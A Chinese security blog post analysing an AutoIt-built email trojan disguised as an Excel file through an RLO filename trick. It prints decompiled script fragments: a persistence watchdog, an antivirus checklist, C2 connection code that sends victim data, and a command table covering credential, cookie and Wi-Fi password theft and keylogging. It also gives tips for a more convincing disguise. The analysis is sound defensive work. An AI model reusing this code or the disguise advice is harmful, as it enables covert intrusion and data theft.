一個基於AutoIT製作生成的欺騙性郵件木馬樣本分析
*本文作者:cgf99,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
一、前言
最近收到一個名為ACH-Payment.zip的壓縮文件的附件,開啟後發現內容其實為一個exe可執行檔案。
如下圖所示:
如果使用者習慣對壓縮檔案直接右鍵解壓縮釋放到目錄,則看上去的欺騙性會更強。因為其圖示會變成excel圖示,檔名也有變化。
解壓縮後,開啟ACH-Payment目錄,發現其檔案顯示如下圖所示。
如果使用者的windows作業系統使用預設設定,即在資料夾檢視設定中勾選“隱藏已知檔案的副檔名”的話,則檔案看上去如下圖所示:
乍一看,確實很像excel表格檔案,如果使用者沒有細看其型別是“應用程式”的話,真的會很容易當作excel文件直接開啟。
很明顯,攻擊者把exe圖示替換為excel圖示,並結合運用了windows系統RLO檔名欺騙技術。通過欺騙windows系統下使用者的視覺效果,進而誘使使用者開啟並執行惡意木馬檔案。這種攻擊方法是目前社會工程學攻擊的常見的典型手段之一,也曾被許多黑客組織包括APT組織運用於各種網路間諜活動。 眾所周知,windows系統支援一種特殊的unicode字元RLO。如果一個字串中包含RLO字元,那麼在windows下顯示時,就會把RLO字元右側的字串逆序顯示出來。比如abc[RLO]edf,則顯示的時候看到的是abcfde。因此,其實上面壓縮文件內的檔名應該是:ACH Payment[RLO]xslx..exe。 此外,筆者感覺本次攻擊者的RLO技術應用有點low或者不甚用心,比如上文第二幅圖中顯示的檔名看起來像是ACH Paymentexe..xlsx,檔名其中有兩個..字元,而且Paymentexe這串字串看起來也不像正常的英文單詞。從而可能引起目標使用者的警覺。其實可以坐如下改進,比如檔名命名為ACH Payment[RLO]xslx.exe即可,而且最好是RLO字元前面的單詞和exe字尾或者scr或者com等可執行檔案字尾副檔名能結合起來像一個真的英文單詞,則檔名看起來會更逼真。
很顯然,收到的這種形態的可執行檔案肯定是有問題的,以下為具體的分析過程。
二、初步分析
1、 測試環境
Vmware虛擬機器環境、windows xp系統
2、 檔案屬性
大小 | MD5 | SHA1 |
---|---|---|
696,702 | d1e7d5ed139500f9d8e1286763e43727 | 76809228ac1f92d71b6cfa2455d662c795a98acc |
3、 程序情況
執行後,系統彈出視窗請求選擇應用程式開啟文件YZGZIG.lsx。如下圖所示,暈,竟然沒有預設的開啟方式,而且.lsx副檔名是什麼鬼?
由於測試系統中已安裝了WPS,選擇用WPS開啟。開啟後如下圖所示,是一個空的表格檔案。
從圖中我們可以進一步確認,該攻擊者確實比較粗心。首先,上圖中開啟的空的excel文件名字其實應該為YZGZIG.xls,而不是YZGZIG.lsx,應該是程式設計出現的筆誤。其次,很明顯我們收到的或者攻擊者想讓我們看起來以為的文件名字應該是:ACH Paymentexe..xlsx。也就說,正常情況下,開啟給使用者看到的應該是ACH Payment.xlsx,而且是excel2007以後的檔案型別。因此,如果要符合正常邏輯的話,這裡存在兩個小問題,一是檔名不對,不能是YZGZIG.lsx,二是文件型別字尾名不對,應該是.xlsx字尾名結尾的表格文件。
通過WPS我們可以看到,實際開啟的空文件放置在%temp%目錄下。同時,惡意程式碼執行後,會啟動一個名為wscript.exe的程序。而wscript.exe是windows系統自帶的檔案,用於執行指令碼檔案,我們看看指令碼檔案存放哪裡?
發現在%temp%目錄下有一個名為RBOUCN.vbs的指令碼檔案。其內容如下:
檔名 | RBOUCN.vbs |
---|---|
內容 | On error resume next Dim strComputer,strProcess,fileset strProcess = “ACH Payment?xslx..exe” fileset = “”"C:\ACH Payment?xslx..exe”"” strComputer = “.” Dim objShell Set objShell = CreateObject(“WScript.Shell”) Dim fso Set fso = CreateObject(“Scripting.FileSystemObject”) while 1 IF isProcessRunning(strComputer,strProcess) THEN ELSE objShell.Run fileset END IF Wend FUNCTION isProcessRunning(BYVAL strComputer,BYVAL strProcessName) DIM objWMIService, strWMIQuery strWMIQuery = “Select * from Win32_Process where name like ‘” & strProcessName & “‘” SET objWMIService = GETOBJECT(“winmgmts:” _ & “{impersonationLevel=impersonate}!\\” _ & strComputer & “\root\cimv2″) IF objWMIService.ExecQuery(strWMIQuery).Count > 0 THEN isProcessRunning = TRUE ELSE isProcessRunning = FALSE END IF END FUNCTION |
上面的指令碼其實很簡單,就是迴圈判斷惡意程序是否已經在執行中。如果沒有執行的話則啟動之。可見,其實惡意程式碼執行後,利用wscript執行上面指令碼與ACH Payment[RLO]xslx..exe程序之間實現了雙程序實時保護功能,無論是哪一個程序被中斷,另一個程序就會實時啟動它,不過很明顯,這樣的實時迴圈保護機制會犧牲CPU的使用效率。
另外,在試驗中,發現一個奇怪的現象。如果使用者殺掉ACH Payment[RLO]xslx..exe程序,則wscript程序直接啟動ACH Payment[RLO]xslx..exe程序,導致又會重新開啟excel文件。很奇怪的感覺,一個使用者在殺掉一個程序就會導致同一個文件重複被開啟。很暈,只能說有點奇怪有點暴力。此時,該惡意檔案的製作者又被筆者小小的鄙視了一把。
4、網路情況
執行後惡意程序連線的IP地址是182.186.59.185,連線的埠是TCP1338埠,這個埠也很少見。常見的木馬都是冒充連線80、443埠。不過由於一直無法連線伺服器,導致程序迴圈定時傳送網路連線請求。
命令 | Netstat –no |
---|---|
結果 | TCP 192.168.92.203:1453 182.186.59.185:1338 SYN_SENT 760 |
該IP調查結果如下:
查詢IP | 182.186.59.185 |
---|---|
結果 | 本站資料:巴基斯坦 參考資料1:巴基斯坦巴基斯坦 ptcl.com.pk 參考資料2:巴基斯坦 相容IPv6地址:::B6BA:3BB9 對映IPv6地址:::FFFF:B6BA:3BB9 |
5、啟動項
發現惡意程式碼在開始選單的啟動目錄下添加了一個名為PROUCN的資料夾,其實是一個快捷方式方式。檢視後,發現實際指向的是檔案是“%appdata%\windata\system32.exe”。經過檔案hash比較,其實這個system32.exe就是我們執行的ACH Payment[RLO]xslx..exe。也就是說惡意程式碼執行後,會在%appdata%目錄下建立Windata資料夾,然後拷貝自身到該資料夾下,再新增其快捷方式到啟動目錄。具體如下圖所示:
不過,如果直接執行system32.exe檔案,則會在後臺執行,不會像ACH Payment[RLO]xslx..exe一樣開啟文件。說明惡意程式碼中應該有進行執行引數判斷,比如根據程序檔名或者所在的目錄的不同,再進行選擇性操作。可是,筆者在此處有發現了一個bug。當系統重新啟動後,自啟動的程序是啟動項下的system32.exe,而system32.exe又會去啟動wscript執行程序保護指令碼。然而作者在這裡又沒有處理好,沒有生成或更新程序保護指令碼,從而導致wscript執行的指令碼保護的程序永遠是ACH Payment[RLO]xslx..exe,而不是實際應該保護的system32.exe程序。導致系統重啟後,system32.exe會實時保護wscript.exe,而wscript.exe則只會去保護最原始的ACH Payment[RLO]xslx..exe。唉。鄙視之。
三、靜態分析和動態情況
1、除錯保護
作者在程式碼中呼叫IsDebuggerPresent函式進行程序除錯保護,看是否當前程序處於除錯狀態。如下圖所示。
惡意程式碼如果發現處於除錯狀態,則彈出對話方塊,如下圖所示。
Olydbg中程式碼如下圖所示:
2、建立隱藏視窗
3、autoit3指令碼分析
經過一番分析,確定該exe應該是用AutoIT3編譯而成。AutoIt是一個使用類似BASIC指令碼語言的免費軟體,它設計用於Windows GUI(圖形使用者介面)中進行自動化操作。它利用模擬鍵盤按鍵,滑鼠移動和視窗/控制元件的組合來實現自動化任務。於是對exe進行格式轉換,將其變換為.au3指令碼檔案。
指令碼為明文,基本上檔案的功能一目瞭然。(暈啊,想起前面用olydbg動態除錯的時候,層層的跳躍,快瘋掉了。)
下面逐步分析該au3指令碼的功能。
1、判斷視窗是否存在
作用 | AutuIt指令碼 |
---|---|
視窗如已存在,退出,否則設定視窗標題 | If WinExists(“DEBFPWGSFP”) Then Exit AutoItWinSetTitle(“DEBFPWGSFP”) |
2、釋放開啟excel文件
如果exe執行的名字不是system32.exe、swwin2.exe、svwin1.exe(用於判斷是否是第一次開啟),則釋放xlsx文件並開啟。這裡我們可以看到指令碼作者釋放的excel文件名稱就是%temp%\YZGZIG.lsx,與上文看到的一致,應該就是此處作者筆誤,把YZGZIG.xls寫成了YZGZIG.lsx。
序號 | AutuIt指令碼 |
---|---|
1 | If @ScriptName <> “system32.exe” AND @ScriptName <> “svwin2.exe” AND @ScriptName <> “svwin1.exe” Then FileInstall(“C:\Users\SHOZAB HAXOR\Desktop\ACH Payment.xlsx”, @TempDir & “/YZGZIG.lsx”) ShellExecute(@TempDir & “/YZGZIG.lsx”) EndIf |
3、建立%appdata%\windata目錄並拷貝自身到該目錄下
序號 | AutuIt指令碼 |
---|---|
1 | DirCreate($ffazezs) $bbneeayd = $tgztret & “system32″ & $yyzerf FileCopy($fvffs, $ffazezs & $bbneeayd) |
4、判斷系統殺軟環境
序號 | AutuIt指令碼 |
---|---|
1 | Global $antivirus If ProcessExists(“ekrn.exe”) Then $antivirus = “NOD32″ ElseIf ProcessExists(“AvastUI.exe”) Then $antivirus = “Avast” ElseIf ProcessExists(“avgcc.exe”) Then $antivirus = “AVG” ElseIf ProcessExists(“avgnt.exe”) Then $antivirus = “Avira” ElseIf ProcessExists(“ahnsd.exe”) Then $antivirus = “AhnLab-V3″ ElseIf ProcessExists(“bdss.exe”) Then $antivirus = “BitDefender” ElseIf ProcessExists(“bdv.exe”) Then $antivirus = “ByteHero” ElseIf ProcessExists(“clamav.exe”) Then $antivirus = “ClamAV” ElseIf ProcessExists(“fpavserver.exe”) Then $antivirus = “F-Prot” ElseIf ProcessExists(“fssm32.exe”) Then $antivirus = “F-Secure” ElseIf ProcessExists(“avkcl.exe”) Then $antivirus = “GData” ElseIf ProcessExists(“engface.exe”) Then $antivirus = “Jiangmin” ElseIf ProcessExists(“avp.exe”) Then $antivirus = “Kaspersky” ElseIf ProcessExists(“updaterui.exe”) Then $antivirus = “McAfee” ElseIf ProcessExists(“msmpeng.exe”) Then $antivirus = “Microsoft” ElseIf ProcessExists(“zanda.exe”) Then $antivirus = “Norman” ElseIf ProcessExists(“npupdate.exe”) Then $antivirus = “nProtect” ElseIf ProcessExists(“inicio.exe”) Then $antivirus = “Panda” ElseIf ProcessExists(“sagui.exe”) Then $antivirus = “Prevx” ElseIf ProcessExists(“Norman.exe”) Then $antivirus = “Sophos” ElseIf ProcessExists(“savservice.exe”) Then $antivirus = “Sophos” ElseIf ProcessExists(“saswinlo.exe”) Then $antivirus = “SUPERAntiSpyware” ElseIf ProcessExists(“spbbcsvc.exe”) Then $antivirus = “Symantec” ElseIf ProcessExists(“thd32.exe”) Then $antivirus = “TheHacker” ElseIf ProcessExists(“ufseagnt.exe”) Then $antivirus = “TrendMicro” ElseIf ProcessExists(“dllhook.exe”) Then $antivirus = “VBA32″ ElseIf ProcessExists(“sbamtray.exe”) Then $antivirus = “VIPRE” ElseIf ProcessExists(“vrmonsvc.exe”) Then $antivirus = “ViRobot” ElseIf ProcessExists(“dllhook.exe”) Then $antivirus = “VBA32″ ElseIf ProcessExists(“vbcalrt.exe”) Then $antivirus = “VirusBuster” Else $antivirus = “No” EndIf |
5、獲取系統IP資訊
通過呼叫 ofollow,noindex" target="_blank">https://ipapi.co/json 網站的查詢介面,對本機的ip地址詳情資訊進行查詢,結果包括IP地址、城市、國家、經緯度、語言等資訊。
序號 | AutuIt指令碼 |
---|---|
1 | Local $1xs = InetRead(“ https://ipapi.co/json “) Local $11xs = BinaryToString($1xs) Local $count = _stringbetween($11xs, $strs & “ip” & $strs & “: ” & $strs, $strs & “,”) Local $count2 = _stringbetween($11xs, $strs & “country_name” & $strs & “: ” & $strs, $strs & “,”) Local $1666ss = “x” If IsArray($count) Then Local $1666ss = $count[0] EndIf Local $1666 = “x” If IsArray($count2) Then Local $1666 = $count2[0] EndIf InetClose($1xs) |
6、連線的域名和埠
序號 | AutuIt指令碼 |
---|---|
1 | Global $ipsd = “torrentfreak.duckdns.org” Global $porsd = “1338″ |
經過解析,torrentfreak.duckdns.org的ip地址是182.186.59.185,這樣IP和埠都與上文網路連結看到的情況一致。
7、建立快捷方式啟動項
給自拷貝後的%appdata%\windata\system32.exe建立快捷方式,並放入啟動目錄。
序號 | AutuIt指令碼 |
---|---|
1 | If NOT FileExists(@StartupDir & “\RBOUCN.lnk”) Then FileCreateShortcut(@AppDataDir & “\Windata\system32.exe”, @StartupDir & “\RBOUCN.lnk”, $vvahk & @AppDataDir & “\Windata” & $vvahk, $bbjnnnn, $bbjnnnn, @SystemDir & “\shell32.dll”, $bbjnnnn, 4) EndIf |
8、初始化網路
呼叫TCPStartup()。
9、開始進入while迴圈操作。
10、建立網路連線,回報資訊
傳送的資訊包括IP查詢結果裡面的各個欄位,使用者許可權、使用者名稱、作業系統版本與架構、時間、防毒軟體名稱、惡意程式碼版本號($vcers = “1.0.9″)、機器型別(是否手提電腦)等,每個欄位之間用字元‘|’分隔。
序號 | AutuIt指令碼 |
---|---|
1 | If TimerDiff($contime) > 9000 Then $derta = TCPNameToIP($ipsd) $r = TCPConnect($derta, $porsd) $contime = TimerInit() EndIf If $r < 1 Then ContinueLoop TCPSend($r, $1666 & $0×0 & $vicname & $0×0 & $1666ss & $0×0 & $usecc & $0×0 & $ostc & $0×0 & $archx & $0×0 & @HOUR & $vazeo & @MIN & $0×0 & $antivirus & $0×0 & $vcers & $0×0 & $ddddd & $0×0 & $pprprpr & $deskheght & $x2x2x2 & $deskwidh & $x3x3x3 & $0×0 & $dexcz & $0×0 & monopri() & $0×0 & $betabta) |
11、判斷socket狀態斷開socket連線,和socket資料傳輸,接收伺服器的控制指令。
序號 | AutuIt指令碼 |
---|---|
1 | Local $casxx = tcpsocketevent($r) Switch $casxx Case $tcpevent_disconnect Local $begincv = TimerInit() TCPCloseSocket($r) ExitLoop Case $tcpevent_data Local $uuxxx = TCPRecv($r, 2024) Local $uu = BinaryToString($uuxxx) If $uu <> “” Then Local $begincv = TimerInit() EndIf |
12、控制指令與功能分析
控制指令 | 功能 |
---|---|
ONXMPDE | 讀取%AppData%\Windata\mon\下的檔案內容,發給伺服器 |
wixfix98a | 執行命令netsh wlan show profiles獲取無線wifi連線結果,發給伺服器 |
pxfitsaaq | 讀取無線密碼,執行命令netsh wlan show profiles ” & $daztssf[0] & ” Key=Clear”,傳送給伺服器。 |
i4a3e154ax | 刪除登錄檔HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\下的值,對伺服器沒有回報訊息 |
8t0xacssat | 列舉HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\下的值,傳送給伺服器 |
SPJSS445 | 根據引數設定HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\下的值,對伺服器沒有回報訊息 |
X7AEE+ | 接收伺服器傳送過來的VBS指令碼並執行,對伺服器沒有回報訊息 |
USvwZqqp | 根據從伺服器接收的兩個引數(檔名),進行復制檔案。對伺服器沒有回報訊息 |
wachsayer | 檢視%temp%\Pl2.exe檔案是否存在,有則向伺服器傳送“HAWalikoum” |
Xhnazz | 執行命令cmd.exe ” /c Pl2.exe -f ” & $strs & “Pl2.txt” & $strs ,並會送結果檔案%temp%\Pl2.txt |
IUY23cx | 刪除%temp%\Pl2.exe檔案 |
Cxltta3 | 根據引數,修改”\system32\Drivers\etc\hosts”檔案下相應設定為“”。 |
RSPPAOUELBC | 查詢hosts檔案下特殊內容,改行包含”#8Blx”或”#8Rex”,傳送給伺服器 |
BLXIS | 根據接收的引數,寫入hosts檔案 |
BLkeryt | 與“BLXIS”指令一樣,寫入hosts檔案 |
kocalsr | 根據引數批量讀取檔案內容並回送 |
Sofxzitre | 如果是管理員許可權,執行” netstat -n -b –o”命令,否則執行“netstat -n -o”命令, |
nescannez | 用ping命令解析本機IP,機器名,結果傳送給伺服器 |
GexthWin | 列舉視窗情況 |
IFFAxtpa | 根據引數設定視窗的狀態(隱藏、可見、最小化、最大化等) |
Ti8zaww | 返回視窗的標題 |
TX3zQp | 把引數寫入%temp%\imtxt.txt,然後開啟該檔案 |
Verif8s | 讀取登錄檔”HKCU\Software\Win32″下imgCli和img的鍵值 |
Revprox87 | 釋放檔案到%temp%\Proxy_Client.dll,呼叫該dll的proxyclient_start函式連線ip(torrentfreak.duckdns.org的地址)和埠(伺服器傳送的引數),完成後刪除dll檔案 |
Q0TAqp | 向剪下板寫入內容 |
COXPIRE | 讀取剪下板內容傳送至伺服器 |
FoCxPArs | 獲取firefox登入資訊。 如果存在%appdata%\Mozilla\Firefox\Profiles目錄,則建立%Temp%\foxr目錄,並拷貝Mozilla\Firefox\Profiles下的(logins.json、key3.db、cert8.db)到foxr目錄,然後每個檔案傳送回伺服器。 |
DixrImagxx | 批量列舉指定目錄下的jpg/png/gif/bmp檔案,轉換成jpg格式後回傳。 |
FKKKSTTTA08 | 命令回顯,相當於ECHO |
MpS8x | 彈框提示指定的內容 |
Plifinstl | 判斷鍵盤記錄程序是否存在 |
MgPlugUp | 開啟鍵盤記錄。 寫入登錄檔HKCU\Software\Win32建立keyx,值為字串型別“1” 生成%temp%\tmpwstz2.ps1檔案 呼叫powershell.exe -executionpolicy bypass –File %temp%\tmpwstz2.ps1 |
srtaapxx | 刪除登錄檔HKCU\Software\Win32\keyx,停止鍵盤記錄程序 |
Dexlu | 刪除%appdata%\mon\目錄下指定檔案 |
ladix | 讀取%appdata%\mon\目錄指定檔案內容 |
TeESX | 傳送%appdata%\mon\目錄下所有的檔名 |
DR0Rw | 寫入登錄檔HKCU\Software\Win32\data |
mopasuixx | 給登錄檔HKCU\Software\Win32\imgCli賦值為字串”1” |
roo7ass | 刪除登錄檔HKCU\Software\Win32\imgCli |
Imstare | 給登錄檔HKCU\Software\Win32\imgCli賦值為字串”1” |
Imfray | 刪除登錄檔HKCU\Software\Win32\img |
dst8DEL | 刪除登錄檔HKCU\Software\Win32\data |
Temp0 | 列舉%appdata%\mon\目錄檔案資訊 |
DDRTs | 讀取%appdata%\mon\目錄指定檔案內容併發送 |
DesLX | 根據引數刪除%appdata%\mon\目錄下檔案和資料夾 |
lDx2 | 讀取%appdata%\mon\目錄指定檔案內容併發送 |
Lxog0 | 列舉%appdata%\mon\下指定目錄的檔案資訊 |
DoaxSE | 讀取HKCU\Software\Win32\data值回傳 |
Rena8x | 刪除指定資料夾和檔案 |
KRB0sxx | 命令回顯,相當於ECHO |
XWB0DS | 傳送{BACKSPACE},探測連線存活 |
Plug2 | 上傳%temp%\p12.exe並執行,結果回傳 |
QURAN | 在%TEMP%\q.lnk快捷方式,指向mms://live.mp3quran.net:9976/,並開啟訪問 |
kortos | 關閉wmplayer.exe程序 |
OnlineKey | 讀取%Temp%\Klog.txt內容回傳 |
OnlineKDel | 刪除%Temp%\Klog.txt,中斷socket |
Spexak | 呼叫系統揚聲器讀出指定內容 |
GetSize | 獲取檔案或資料夾大小 |
PowOf | 清理GDI+資源 |
PREsat | 清理GDI+資源 |
PLOfc | 清理GDI+資源 |
UpWWW8 | 上傳檔案 |
Unzipx | 解壓縮檔案 |
Comprx | 壓縮檔案 |
WallPx | 拷貝%appdata%\Microsoft\Windows\Themes\TranscodedWallpaper.jpg 替換桌布 |
Execut | 執行指定命令 |
CpyxE| | 檔案或資料夾拷貝 |
Deletxc | 刪除檔案或資料夾 |
AllDriver | 列舉分割槽資訊 |
DeskDir | 列舉桌面目錄資訊 |
PictuXX | 列舉圖片目錄資訊 |
UserPro | 列舉使用者目錄資訊 |
Sk8xer | 列舉skype目錄資訊 |
USz9ap | 列舉keype目錄下指定目錄下的資訊 |
SrtU8p | 列舉啟動目錄資訊 |
ApDta | 列舉%appdata%目錄 |
Romig | 列舉音樂目錄資訊 |
Refx| | 列舉指定目錄資訊 |
RAnSoun | 檔案上傳 |
UploX | 檔案上傳儲存為%temp%目錄下隨機6個位元組檔名,並執行 |
Soxexctuuous | 重寫%TempDir%\Ransound.wav檔案,並播放 |
Sound| | 關閉鍵盤記錄程序,重新啟動程式 |
Uninstall | 解除安裝退出 |
kill | 關閉程序 |
EA58AE | 滑鼠拖曳操作 |
MouSxA | 滑鼠左鍵點選 |
MouSxB | 滑鼠右鍵點選 |
MoBlosxck | 恢復桌面牆紙 |
Unmoxb | 修改桌面牆紙設定 |
screen | 螢幕截圖 |
OpCD | 開啟光碟機 |
CloseCD | 關閉光碟機 |
DowLDXss | 下載檔案並執行 |
Chat | 交流 |
CxM0D1| | 呼叫控制檯執行命令傳送結果 |
WebCam | 攝像頭拍攝照片 |
Open | 命令執行 |
CookiesAll | 讀取chrome瀏覽器和Firefox瀏覽器cookie資訊 |
CookFirefox | 讀取Firefox瀏覽器cookie資訊 |
CooChrome | 讀取chrome瀏覽器cookie資訊 |
Process | 列舉程序資訊 |
PrKilx| | 關閉指定程序 |
四、實際測試驗證
由於該惡意程式在通訊上並沒有任何的安全機制,並且上文中我們已經分析清楚該惡意程式與伺服器之間的通訊指令。因此,我們可以在本地假設環境進行實際測試,從而驗證我們上述分析。
利用nc.exe作為伺服器端,監聽埠1338,在hosts下修改torrentfreak.duckdns.org域名指向本機。
在本機直接執行nc.exe –l –p 1338,執行惡意程式後,木馬上線並回報相關資訊,如下圖所示。
輸入Process指令,讓其列舉程序,結果如下圖所示。
其他的命令可以一一進行操作並驗證是否與分析一致。
五、結束語
通過上文分析,我們可以初步判斷這是一起網路攻擊事件。攻擊者利用郵件實施攻擊,不過技術實力有限,準備不足。
初步的結論如下:
1、該壓縮檔案內含一個惡意exe可執行檔案,檔名採用windows系統RLO技術偽裝成,並修改exe圖示為excel文件圖示,欺騙使用者開啟。 2、exe可執行檔案利用AutoIt3指令碼製作生成,可以對其進行格式轉換,生成明文可見的au3指令碼文件。 3、惡意功能模組太多了,佩服作者指令碼能力和耐心。 4、該域名還存活,不過目前執行的IP和埠無法連線。 5、該exe惡意檔案可能是特定有組織的,不是一般的自動化感染病毒。木馬功能模組內含敏感操作(比如cookie資訊獲取、鍵盤記錄、上傳下載檔案、檔案壓縮、檔案搜尋、截圖等功能)。 6、該作者不甚用心,在分析的時候發現了很多低階錯誤,見上文。同時,還表現在木馬端和服務控制端之間沒有認證校驗、通訊資料明文傳輸沒有加密等。
*本文作者:cgf99,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。